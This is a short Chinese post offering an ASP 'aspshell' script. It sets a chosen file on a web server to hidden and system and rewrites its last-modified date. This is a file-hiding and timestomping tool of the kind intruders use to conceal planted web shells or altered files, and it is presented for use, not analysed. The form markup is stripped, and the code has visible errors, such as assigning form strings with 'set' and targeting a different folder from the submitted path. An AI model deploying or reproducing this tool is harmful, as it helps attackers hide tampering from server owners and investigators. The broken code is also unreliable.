修改服务器日期脚本,隐藏修改文件时间和文件属性的ASP脚本

代码如下:

'隐藏并修改文件的最后修改时间的aspshell

'原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，1只读，2隐藏，4系统文件

' 通过shell.application可以给文件重新设置一个最后修改时间

'2009/02/24 write by skyfire

response.write "

"

response.write "路    径：(一定要以\结尾)
"

response.write "文件名称：
"

response.write "修改时间：
"

response.write ""

response.write "

"

'获取提交的参数

set path=request.Form("path")

set fileName=request.Form("filename")

set newTime=request.Form("time")

if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then

'通过fso设置文件属性

Set fso=Server.CreateObject("Scripting.FileSystemObject")

Set file=fso.getFile(path&fileName)

file.attributes=2+4 '设置文件属性为隐藏+系统

'通过shell.Application修改文件的最后修改时间

Set shell=Server.CreateObject("Shell.Application")

Set app_path=shell.NameSpace(server.mappath("."))

Set app_file=app_path.ParseName(fileName)

app_file.Modifydate=newTime

end if

%>